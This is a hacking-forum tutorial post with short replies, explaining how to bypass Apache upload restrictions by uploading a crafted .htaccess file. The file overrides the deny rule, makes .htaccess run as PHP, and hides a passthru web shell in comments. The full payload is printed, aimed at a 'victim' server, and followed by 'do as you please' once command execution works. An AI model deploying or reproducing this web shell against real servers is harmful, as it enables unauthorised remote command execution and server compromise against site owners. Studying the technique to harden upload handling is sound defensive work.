[0x01] Intro:
Sup HF, today I will be discussing a little old trick that helped me accomplish helping another member with getting a shell up on a server. I'm sure many of you have heard of using .htaccess as a backdoor, why this may be useful in some cases we can extend this further than just a backdoor. Say we cant upload php files to our victim (implying that the back-end supports php) or for say SetHandler or FilesMatch is being used and our php files that we successfully uploaded are not being executed. Well CGI shell ftw? Meh what if that doesn't work. We can fall back on diverting the default apache .htaccess access restrictions from within a custom .htaccess file being treated as a dynamic content script and accessed through a url. :3 Possible? Yes quite possible due to apache processing apache config directives before our custom .htaccess file is processed via a web request. Let us remember though that in-order for this to occur we need to comment out our payload (shell, etc..) at the start so apache doesn't interpret it and carry on with ignoring directives.

[0x02] The Attack:
Okay so lets say we just gained access to either an upload form or admin panel, etc.. and you begin to upload your shell (test.php) After uploading we see that our file was indeed uploaded but failed to execute due to restrictions set in the default .htaccess file. Could be the php engine off, FilesMatch, whatever, but for our lab we are just using a simple Files regex. Shown below.





[*] What Next?
Okay so props to the admin for at least going that far and not being a total idiot, but we can so easily bypass this in many circumstances. Next we are going to try and divert the default .htaccess and upload our custom .htaccess with malicious code between comments to the server. Here is the example im using, yes this isn't stealthy at all but for those who get php you can amp this little shell up a bit and get rid of the GET request and such. Next upload as ".htaccess"

Code

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>

AddType application/x-httpd-php .htaccess

# <?php echo "";echo"";passthru($_GET['cmd']." 2>&1"); ?>#

[*] Code Explanation:
The first part of the code between the <Files> tags simply just Overrides the default deny rule and makes the .htaccess file accessible over a URL. The line after makes the file interpreted as a php file. And of course the last line between the comments is our php code for our shell.

[*] RCE Goodness:
Okay so after uploading we need to see if our bypass was a success. Type in the URL of where your .htaccess file was uploaded and call ?cmd= with your command after. Shown below also.


SUCCESS!!

[0x03] Conclusion:
Now we have the right to run commands on the server, do as you please. Hope some members enjoyed this neat little trick just as much as I do. Thanks for viewing, and for more fun with .htaccess shells, wireghoul has a very nice project started with tons of .htaccess shells that just abuse mods everywhere:3

HTSHELLS PROJECT: https://github.com/wireghoul/htshells

Regards,Klimax

(Mar 24, 2014 03:25 PM)-Chosen- Wrote:  This is a good trick but if they look at the .htaccess file, they are going to see something out of the ordinary, unless they dismiss it as something that was there before.

-Chosen-

(Mar 25, 2014 10:39 PM)Th3PonyWizard Wrote:  Wait, are you sp3c? Pls tell me it's you >_>

(Mar 26, 2014 09:11 AM)_Klimax_ Wrote:  Yes Pony it is I :3 Been a while my friend </3